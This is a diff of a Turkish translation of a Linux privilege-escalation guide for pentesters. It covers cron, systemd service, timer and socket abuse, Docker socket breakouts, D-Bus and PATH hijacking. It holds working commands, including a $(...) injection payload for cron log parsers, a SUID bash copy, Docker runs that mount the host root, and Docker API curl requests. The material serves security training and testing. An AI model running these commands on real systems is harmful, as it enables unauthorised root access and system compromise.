beklenmedik şeyler (ör. privesc) yapmak için exploit edebilirsiniz. Örnek: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Eğer wildcard bir yolun önünde yer alıyorsa, örneğin** _**/some/path/\***_**, vulnerable değildir (hatta** _**./\***_ **de değildir).** +**Eğer wildcard bir yolun öncesinde yer alıyorsa, örneğin** _**/some/path/\***_**, zafiyete açık değildir (hatta** _**./\***_ **de değildir).** -Daha fazla wildcard exploitation hilesi için aşağıdaki sayfayı okuyun: +Read the following page for more wildcard exploitation tricks: {{#ref}} @@ -353,11 +353,11 @@ wildcards-spare-tricks.md ### Bash arithmetic expansion injection in cron log parsers -Bash, ((...)), $((...)) ve let içinde arithmetic evaluation'dan önce parameter expansion ve command substitution gerçekleştirir. Eğer bir root cron/parser, untrusted log fields okur ve bunları bir arithmetic context'e verirse, bir attacker command substitution $(...) enjekte edebilir ve cron çalıştığında bu root olarak yürütülür. +Bash, ((...)), $((...)) ve let içinde aritmetik değerlendirmeden önce parameter/variable expansion ve command substitution uygular. Eğer root bir cron/parser güvensiz log alanlarını okuyup bunları bir arithmetic context'e veriyorsa, saldırgan $(...) biçiminde bir command substitution enjekte edebilir ve cron çalıştığında bu root olarak çalışır. -- Neden işe yarar: Bash'te genişletmeler şu sırayla gerçekleşir: parameter/variable expansion, command substitution, arithmetic expansion, ardından word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce substitute edilir (komut çalıştırılır), ardından kalan sayısal `0` aritmetikte kullanılır ve script hata vermeden devam eder. +- Neden çalışır: Bash'te genişletmeler şu sırayla gerçekleşir: parameter/variable expansion, command substitution, arithmetic expansion, sonra word splitting ve pathname expansion. Bu yüzden `$(/bin/bash -c 'id > /tmp/pwn')0` gibi bir değer önce substitute edilir (komut çalıştırılır), sonra kalan sayısal `0` aritmetikte kullanılır ve script hata olmadan devam eder. -- Tipik vulnerable pattern: +- Tipik zafiyet örüntüsü: ```bash #!/bin/bash # Example: parse a log and "sum" a count field coming from the log @@ -367,7 +367,7 @@ while IFS=',' read -r ts user count rest; do done < /var/www/app/log/application.log ``` -- Exploitation: Parse edilen log'a attacker-controlled bir içerik yazdırın, böylece sayıya benzeyen alan bir command substitution içerir ve bir rakamla biter. Komutunuz stdout'a yazmasın (veya yönlendirin) böylece arithmetic geçerli kalır. +- İstismar: Parse edilen log'a saldırgan kontrollü metin yazdırın öyle ki sayısal görünen alan bir command substitution içersin ve bir rakamla bitsin. Komutunuzun stdout'a yazmadığından emin olun (veya çıktıyı yönlendirin) ki aritmetik geçerli kalsın. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -376,117 +376,117 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -Eğer root tarafından çalıştırılan bir **cron script**'i değiştirebiliyorsanız, çok kolay bir şekilde shell elde edebilirsiniz: +Eğer root tarafından çalıştırılan bir **cron script'ini değiştirebiliyorsanız**, çok kolay bir shell elde edebilirsiniz: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Eğer root tarafından çalıştırılan script, **tam erişiminiz olan directory** kullanıyorsa, o klasörü silip sizin kontrolünüzde bir script sunan başka bir dizine işaret eden **symlink bir klasör oluşturmak** faydalı olabilir. +Eğer root tarafından çalıştırılan script bir **tam erişime sahip olduğunuz directory** kullanıyorsa, o folder'ı silmek ve **başka bir folder'a symlink oluşturmak** (sizin kontrolünüzdeki bir script'i sunmak için) faydalı olabilir. ```bash ln -d -s ``` -### Frequent cron jobs +### Sık cron jobs -Süreçleri, her 1, 2 veya 5 dakikada bir çalıştırılan süreçleri aramak için izleyebilirsiniz. Belki bundan faydalanıp escalate privileges yapabilirsiniz. +Process'leri izleyerek her 1, 2 veya 5 dakikada bir çalıştırılan process'leri arayabilirsiniz. Belki bundan faydalanıp escalate privileges elde edebilirsiniz. -Örneğin, **1 dakika boyunca her 0.1s'de bir izlemek**, **daha az çalıştırılan komutlara göre sıralamak** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz: +Örneğin, **1 dakika boyunca her 0.1s'de izle**, **en az çalıştırılan komutlara göre sırala** ve en çok çalıştırılan komutları silmek için şunu yapabilirsiniz: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ayrıca şunu kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (başlayan her süreci izleyecek ve listeleyecektir). +**Ayrıca kullanabilirsiniz** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (bu, başlayan her süreci izler ve listeler). -### Görünmez cron jobs +### Görünmez cronjob'lar -Bir yorumdan sonra **carriage return koyarak** (yeni satır karakteri olmadan) bir cronjob oluşturmak mümkündür ve cron job çalışır. Örnek (carriage return karakterine dikkat): +Bir yoruma **bir carriage return ekleyerek** (yeni satır karakteri olmadan) cronjob oluşturmak mümkündür ve cronjob çalışacaktır. Örnek (carriage return karakterine dikkat): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Servisler -### Yazılabilir _.service_ files +### Yazılabilir _.service_ dosyaları -Herhangi bir `.service` dosyasına yazıp yazamayacağınızı kontrol edin, yazabiliyorsanız, bunu **değiştirerek** servis **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **backdoor**'unuzun **çalıştırılmasını** sağlayabilirsiniz (belki makinenin yeniden başlatılmasını beklemeniz gerekir).\ -Örneğin backdoor'unuzu .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile oluşturun +Herhangi bir `.service` dosyasına yazıp yazamayacağınızı kontrol edin; yazabiliyorsanız, bunu **değiştirebilirsiniz** böylece servis **başlatıldığında**, **yeniden başlatıldığında** veya **durdurulduğunda** **backdoor**'unuz **çalıştırılır** (belki makinenin yeniden başlatılmasını beklemeniz gerekir).\ +Örneğin .service dosyasının içine **`ExecStart=/tmp/script.sh`** ile backdoor'unuzu oluşturun ### Yazılabilir servis ikili dosyaları -Aklınızda bulundurun ki eğer servisler tarafından çalıştırılan ikililere **yazma izniniz** varsa, bunları backdoor'lar için değiştirebilirsiniz; böylece servisler yeniden çalıştırıldığında backdoor'lar çalıştırılacaktır. +Unutmayın ki servisler tarafından çalıştırılan ikili dosyalar üzerinde **yazma iznine sahipseniz**, bunları backdoors için değiştirebilirsiniz; böylece servisler yeniden çalıştırıldığında backdoors çalıştırılır. -### systemd PATH - Göreli Yollar +### systemd PATH - Relative Paths -systemd tarafından kullanılan PATH'i **şununla** görebilirsiniz: +**systemd** tarafından kullanılan PATH'i şu komutla görebilirsiniz: ```bash systemctl show-environment ``` -Eğer yolun herhangi bir klasörüne **yazma** yapabildiğinizi fark ederseniz, **escalate privileges** yapabiliyor olabilirsiniz. Servis yapılandırma dosyalarında kullanılan **göreli yolları** gibi şeyleri aramanız gerekir: +Eğer yolun herhangi bir klasörüne **write** yazabildiğinizi fark ederseniz, **escalate privileges** elde etme ihtimaliniz olabilir. Servis yapılandırma dosyalarında kullanılan **relative paths being used on service configurations** gibi öğeleri aramanız gerekir: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). +Sonra, yazma izniniz olan systemd PATH klasörü içine, **executable** ile **same name as the relative path binary** aynı ada sahip bir dosya oluşturun ve servis savunmasız eylemi (**Start**, **Stop**, **Reload**) gerçekleştirmesi istendiğinde, sizin **backdoor**'unuz çalıştırılacaktır (ayrıcalıksız kullanıcılar genellikle servisleri başlatamaz/durduramaz ama `sudo -l` kullanıp kullanamayacağınızı kontrol edin). -**Learn more about services with `man systemd.service`.** +**Servisler hakkında daha fazla bilgi için `man systemd.service` komutuna bakın.** ## **Zamanlayıcılar** -**Timers**, adı `**.timer**` ile biten systemd unit dosyalarıdır ve `**.service**` dosyalarını veya olayları kontrol eder. **Timers**, takvim zaman olayları ve monotonik zaman olayları için yerleşik desteğe sahip oldukları ve eşzamansız olarak çalıştırılabildikleri için cron alternatifi olarak kullanılabilir. +**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. -You can enumerate all the timers with: +Tüm zamanlayıcıları şu komutla listeleyebilirsiniz: ```bash systemctl list-timers --all ``` -### Writable timers +### Yazılabilir zamanlayıcılar -Eğer bir timer'ı değiştirebiliyorsanız, systemd.unit içindeki var olan bazı birimleri (ör. `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. +Bir timer'ı değiştirebiliyorsanız, var olan systemd.unit birimlerinden bazılarını (ör. bir `.service` veya `.target`) çalıştırmasını sağlayabilirsiniz. ```bash Unit=backdoor.service ``` -Belgelerde Unit'in ne olduğu şöyle açıklanır: +Dokümantasyonda Unit'in ne olduğu şöyle açıklanıyor: -> Bu timer sona erdiğinde etkinleştirilecek unit'tir. Argüman, son eki ".timer" olmayan bir unit adıdır. Belirtilmezse, bu değer varsayılan olarak timer unit ile aynı ada sahip, yalnızca son eki farklı olan bir service olur. (Yukarıya bakınız.) Etkinleştirilecek unit adı ile timer unit adının, son ek dışında, aynı şekilde adlandırılması önerilir. +> Zamanlayıcı sona erdiğinde etkinleştirilecek birim. Argüman, son eki ".timer" olmayan bir birim adıdır. Belirtilmezse, bu değer varsayılan olarak zamanlayıcı birimiyle aynı ada sahip, sadece son eki farklı olan bir servis olur. (Yukarıya bakınız.) Etkinleştirilen birim adı ile zamanlayıcı biriminin adı, son ek dışında aynı isimde olmaları tavsiye edilir. -Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir: +Bu nedenle, bu izni kötüye kullanmak için şunlara ihtiyacınız olur: - Yazılabilir bir binary çalıştıran bazı systemd unit'leri (ör. `.service`) bulun -- Relative path çalıştıran bazı systemd unit'lerini bulun ve systemd PATH üzerinde writable privileges sahibi olun (o executable'ı taklit etmek için) +- Göreli bir yol (relative path) çalıştıran ve **systemd PATH** üzerinde **yazma ayrıcalıklarınızın** olduğu bir systemd unit bulun (o executable'ı taklit etmek için) -**`man systemd.timer` ile timer'lar hakkında daha fazla bilgi edinin.** +**Zamanlayıcılar hakkında daha fazla bilgi için `man systemd.timer`'ı inceleyin.** -### **Timer'ı Etkinleştirme** +### **Zamanlayıcıyı Etkinleştirme** -Bir timer'ı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu komutu çalıştırmanız gerekir: +Bir zamanlayıcıyı etkinleştirmek için root ayrıcalıklarına sahip olmanız ve şu komutu çalıştırmanız gerekir: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Not: **timer**, `/etc/systemd/system/.wants/.timer` konumunda ona bir symlink oluşturarak **etkinleştirilir** -## Sockets +## Soketler -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +Unix Domain Sockets (UDS), istemci-sunucu modellerinde aynı veya farklı makinelerde **işlem iletişimi** sağlar. Bilgisayarlar arası iletişim için standart Unix dosya tanımlayıcılarını kullanırlar ve `.socket` dosyaları aracılığıyla yapılandırılırlar. -Sockets can be configured using `.socket` files. +Soketler `.socket` dosyaları kullanılarak yapılandırılabilir. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**`man systemd.socket` ile soketler hakkında daha fazla bilgi edinin.** Bu dosya içinde birkaç ilginç parametre yapılandırılabilir: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak özetle **soketin nerede dinleyeceğini belirtmek** için kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası, vb.) +- `Accept`: Booleansal bir argüman alır. Eğer **true** ise, **her gelen bağlantı için bir service instance başlatılır** ve yalnızca bağlantı soketi ona aktarılır. Eğer **false** ise, tüm dinleme soketleri doğrudan **başlatılan service unit'a aktarılır**, ve tüm bağlantılar için yalnızca bir service unit oluşturulur. Bu değer, tek bir service unit'un koşulsuz olarak tüm gelen trafiği yönettiği datagram soketleri ve FIFO'lar için göz ardı edilir. **Varsayılan olarak false**. Performans nedenleriyle, yeni daemon'ların yalnızca `Accept=no` için uygun şekilde yazılması tavsiye edilir. +- `ExecStartPre`, `ExecStartPost`: Bir veya daha fazla komut satırı alır; bunlar sırasıyla dinleme **sockets**/FIFO'lar **oluşturulup** ve bağlanmadan **önce** veya **sonra** **çalıştırılır**. Komut satırının ilk belirteci mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelir. +- `ExecStopPre`, `ExecStopPost`: Dinleme **sockets**/FIFO'lar **kapatılıp** ve kaldırılmadan **önce** veya **sonra** **çalıştırılan** ek komutlardır. +- `Service`: **gelen trafik** üzerinde **etkinleştirilecek** service unit adını belirtir. Bu ayar yalnızca Accept=no olan soketler için izinlidir. Varsayılan olarak, soketle aynı ada sahip (sonek değiştirilmiş) service kullanılır. Çoğu durumda bu seçeneği kullanmak gerekli değildir. -### Writable .socket files +### Yazılabilir .socket dosyaları -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Eğer bir **yazılabilir** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir şey **ekleyebilir** ve backdoor, soket oluşturulmadan önce çalıştırılacaktır. Bu yüzden **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecektir.**\ +_Sistemin bu socket dosyası yapılandırmasını kullanıyor olması gerektiğini unutmayın; aksi takdirde backdoor çalıştırılmaz_ -### Writable sockets +### Yazılabilir soketler -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. +Eğer herhangi bir **yazılabilir socket** tespit ederseniz (_şu an burada yapılandırma `.socket` dosyalarından değil, Unix Sockets'tan bahsediyoruz_), o soket ile **iletişim kurabilir** ve belki bir zafiyeti keşfedip istismar edebilirsiniz. -### Enumerate Unix Sockets +### Unix Soketlerini Listeleme ```bash netstat -a -p --unix ``` @@ -499,7 +499,7 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` -**Exploitation example:** +**Sömürme örneği:** {{#ref}} @@ -508,15 +508,15 @@ socket-command-injection.md ### HTTP sockets -Bazı **sockets listening for HTTP** requests olabileceğini unutmayın (_.socket dosyalarından bahsetmiyorum, unix sockets olarak davranan dosyalardan bahsediyorum_). Bunu şu komutla kontrol edebilirsiniz: +Bazı **sockets listening for HTTP** requests olabileceğini unutmayın (_I'm not talking about .socket files but the files acting as unix sockets_). Bunu şu komutla kontrol edebilirsiniz: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Eğer socket bir HTTP isteğine **cevap veriyorsa**, onunla **iletişim kurabilir** ve belki de **bazı güvenlik açıklarını exploit edebilirsiniz**. +Eğer soket **responds with an HTTP** request ise, onunla **communicate** edebilir ve belki de bazı **exploit some vulnerability** gerçekleştirebilirsiniz. ### Yazılabilir Docker Socket -Docker socket, genellikle `/var/run/docker.sock` konumunda bulunur ve korunması gereken kritik bir dosyadır. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir. Bu socket'e yazma erişimine sahip olmak privilege escalation'a yol açabilir. Bunun nasıl yapılabileceğine dair bir açıklama ve Docker CLI kullanılamıyorsa alternatif yöntemler aşağıdadır. +The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. Varsayılan olarak, `root` kullanıcısı ve `docker` grubunun üyeleri tarafından yazılabilir durumdadır. Bu sokete yazma erişimine sahip olmak privilege escalation'a yol açabilir. Aşağıda bunun nasıl yapılabileceğinin ve Docker CLI mevcut değilse alternatif yöntemlerin bir dökümü bulunmaktadır. #### **Privilege Escalation with Docker CLI** @@ -525,19 +525,19 @@ Docker socket'e yazma erişiminiz varsa, aşağıdaki komutları kullanarak esca docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Bu komutlar, host'un dosya sistemine root seviyesinde erişimi olan bir container çalıştırmanızı sağlar. +Bu komutlar, host'un dosya sistemine root düzeyinde erişimi olan bir container çalıştırmanızı sağlar. #### **Docker API'yi Doğrudan Kullanma** -Docker CLI mevcut olmadığı durumlarda, Docker socket yine de Docker API ve `curl` komutları kullanılarak manipüle edilebilir. +Docker CLI mevcut değilse, Docker socket yine de Docker API ve `curl` komutları kullanılarak manipüle edilebilir. -1. **List Docker Images:** Mevcut images listesini alın. +1. **List Docker Images:** Kullanılabilir image'ların listesini alın. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Host sisteminin kök dizinini mount eden bir container oluşturmak için bir istek gönderin. +2. **Create a Container:** Host sisteminin root dizinini mount eden bir container oluşturmak için bir istek gönderin. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -549,7 +549,7 @@ Yeni oluşturulan container'ı başlatın: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** `socat` kullanarak container'a bir bağlantı kurun; böylece içinde komut çalıştırabilirsiniz. +3. **Attach to the Container:** `socat` kullanarak container'a bağlantı kurun, bu sayede içinde komut çalıştırabilirsiniz. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -559,11 +559,11 @@ Connection: Upgrade Upgrade: tcp ``` -`socat` bağlantısını kurduktan sonra, host'un dosya sistemine root seviyesinde erişimle doğrudan container içinde komut çalıştırabilirsiniz. +`socat` bağlantısını kurduktan sonra, host'un dosya sistemine root düzeyinde erişimle doğrudan container içinde komut çalıştırabilirsiniz. ### Diğerleri -Dikkat: docker socket üzerinde yazma izniniz varsa çünkü **inside the group `docker`** içindeyseniz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +docker socket üzerinde yazma izinleriniz varsa çünkü **inside the group `docker`** içindeyseniz [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Eğer [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Check **more ways to break out from docker or abuse it to escalate privileges** in: @@ -574,7 +574,7 @@ docker-security/ ## Containerd (ctr) privilege escalation -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +Eğer **`ctr`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -583,7 +583,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** privilege escalation -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +Eğer **`runc`** komutunu kullanabildiğinizi görürseniz, aşağıdaki sayfayı okuyun çünkü **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -592,15 +592,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan gelişmiş bir **inter-Process Communication (IPC) system**dir. Modern Linux sistemi göz önünde bulundurularak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar. +D-Bus, modern Linux sistemi göz önünde bulundurularak tasarlanmış, uygulamaların verimli bir şekilde etkileşim kurup veri paylaşmasını sağlayan sofistike bir **inter-Process Communication (IPC) system**dür. Farklı uygulama iletişim biçimlerine yönelik sağlam bir çatı sunar. -Sistem esnektir; süreçler arası veri alışverişini geliştiren temel IPC desteğinin yanı sıra, olay veya sinyal yayınlamayı destekleyerek sistem bileşenleri arasında sorunsuz entegrasyonu kolaylaştırır. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik çalarını sessize aldırabilir. Ayrıca D-Bus, uzak nesne sistemi desteği sunarak servis taleplerini ve metod çağrılarını basitleştirir; bu da geleneksel olarak karmaşık olan işlemleri düzene sokar. +Sistem, süreçler arası veri alışverişini geliştiren temel IPC'yi destekleyerek **enhanced UNIX domain sockets** benzeri bir işlevsellik sağlar. Ayrıca olay veya sinyal yayınlamaya yardımcı olarak sistem bileşenlerinin entegrasyonunu kolaylaştırır — örneğin bir Bluetooth daemon'undan gelen çağrı sinyali bir müzik oynatıcısını sessize aldırabilir. Ayrıca D-Bus, uygulamalar arasında servis taleplerini ve yöntem çağrılarını basitleştiren bir remote object system destekler; bu, geleneksel olarak karmaşık olan süreçleri kolaylaştırır. -D-Bus, eşleştiren politika kurallarının kümülatif etkisine göre mesaj izinlerini (metot çağrıları, sinyal yayımı vb.) yöneten bir izin/engelleme modelinde çalışır. Bu politikalar bus ile hangi etkileşimlerin izinli olduğunu belirler ve bu izinlerin kötüye kullanılması yoluyla privilege escalation mümkün olabilir. +D-Bus, bir **allow/deny model**i üzerinde çalışır; mesaj izinlerini (method calls, signal emissions, vb.) eşleşen politika kurallarının kümülatif etkisine göre yönetir. Bu politikalar bus ile etkileşimleri belirler ve bu izinlerin kötüye kullanılması yoluyla privilege escalation'a izin verebilir. -Örneğin /etc/dbus-1/system.d/wpa_supplicant.conf içindeki bir politika, root kullanıcısının `fi.w1.wpa_supplicant1` üzerinde sahiplik, gönderme ve alma izinlerine dair detaylar içerir. +Bir örnek politika `/etc/dbus-1/system.d/wpa_supplicant.conf` içinde verilmiştir; bu örnek, root kullanıcısına `fi.w1.wpa_supplicant1`'e sahip olma, ona gönderme ve ondan mesaj alma izinlerini detaylandırır. -Belirli bir kullanıcı veya grup belirtilmemiş politikalar evrensel olarak uygulanır; "default" bağlam politikaları ise diğer spesifik politikalar tarafından kapsanmayan herkese uygulanır. +Kullanıcı veya grup belirtilmemiş politikalar evrensel olarak uygulanırken, "default" context politikaları diğer özel politikalar tarafından kapsanmayan herkese uygulanır. ```xml @@ -609,7 +609,7 @@ Belirli bir kullanıcı veya grup belirtilmemiş politikalar evrensel olarak uyg ``` -**D-Bus communication'ı enumerate ve exploit etme yöntemini burada öğrenin:** +**D-Bus iletişimini enumerate etmeyi ve exploit etmeyi burada öğrenin:** {{#ref}} @@ -618,7 +618,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Ağ** -Ağı enumerate etmek ve makinenin ağ içindeki konumunu belirlemek her zaman ilginçtir. +Ağı enumerate etmek ve makinenin konumunu belirlemek her zaman ilgi çekicidir. ### Genel enumeration ```bash @@ -643,24 +643,24 @@ cat /etc/networks #Files used by network services lsof -i ``` -### Açık portlar +### Open ports -Erişmeden önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin: +Erişim sağlamadan önce daha önce etkileşim kuramadığınız makinede çalışan ağ servislerini her zaman kontrol edin: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Trafiği sniff edip edemeyeceğinizi kontrol edin. Eğer yapabiliyorsanız, bazı credentials elde edebilirsiniz. +Trafiği sniff edip edemeyeceğinizi kontrol edin. Eğer edebiliyorsanız, bazı credentials elde edebilirsiniz. ``` timeout 1 tcpdump ``` ## Kullanıcılar -### Generic Enumeration +### Genel Keşif -Kimin olduğunuzu, hangi **privileges**'a sahip olduğunuzu, sistemde hangi **users** bulunduğunu, hangilerinin **login** yapabildiğini ve hangilerinin **root privileges**'a sahip olduğunu kontrol edin: +**Kim** olduğunuzu, hangi **ayrıcalıklara** sahip olduğunuzu, sistemde hangi **kullanıcılar** olduğunu, hangilerinin **giriş** yapabildiğini ve hangilerinin **root ayrıcalıklarına** sahip olduğunu kontrol edin: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -682,14 +682,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` -### Büyük UID +### Big UID -Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalık yükseltmesine olanak veren bir hatadan etkilendi. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalıkları yükseltmesine izin veren bir hatadan etkilenmiştir. Daha fazla bilgi: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ve [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +**İstismar etmek için kullanın:** **`systemd-run -t /bin/bash`** ### Gruplar -root ayrıcalıkları verebilecek bir **grubun üyesi** olup olmadığınızı kontrol edin: +Root ayrıcalıkları sağlayabilecek bir grubun **üyesi** olup olmadığınızı kontrol edin: {{#ref}} @@ -698,7 +698,7 @@ interesting-groups-linux-pe/ ### Pano -Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol edin +Mümkündürse panonun içinde ilginç bir şey olup olmadığını kontrol edin ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -715,27 +715,27 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ``` ### Bilinen parolalar -Eğer ortamın **herhangi bir parolasını biliyorsanız** **parolayı kullanarak her kullanıcı olarak giriş yapmayı deneyin**. +Eğer ortamın **herhangi bir parolasını biliyorsanız**, parolayı kullanarak **her kullanıcı** olarak giriş yapmayı deneyin. ### Su Brute -Eğer çok fazla gürültü çıkarma (noise) umursamıyorsanız ve bilgisayarda `su` ve `timeout` ikili dosyaları bulunuyorsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +Eğer çok fazla gürültü çıkarmayı umursamıyorsanız ve bilgisayarda `su` ve `timeout` ikili dosyaları bulunuyorsa, [su-bruteforce](https://github.com/carlospolop/su-bruteforce) ile kullanıcıya brute-force yapmayı deneyebilirsiniz.\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) `-a` parametresi ile de kullanıcıları brute-force etmeye çalışır. -## Yazılabilir PATH suistimalleri +## Yazılabilir $PATH kötüye kullanımları ### $PATH -Eğer **$PATH içindeki bazı klasörlerden birine yazabiliyorsanız** yazılabilir klasörün içine, farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla bir **backdoor oluşturarak** ayrıcalıkları yükseltebilir ve bu komutun $PATH içindeki yazılabilir klasörünüzden **önce yer alan bir klasörden yüklenmemesi** gerekir. +Eğer **$PATH içindeki bazı klasörlerin içine yazabiliyorsanız** , farklı bir kullanıcı (tercihen root) tarafından çalıştırılacak bir komutun adıyla **yazılabilir klasörün içine bir backdoor oluşturmak** suretiyle yetki yükseltmesi elde edebilirsiniz; bunun için komutun **$PATH'te 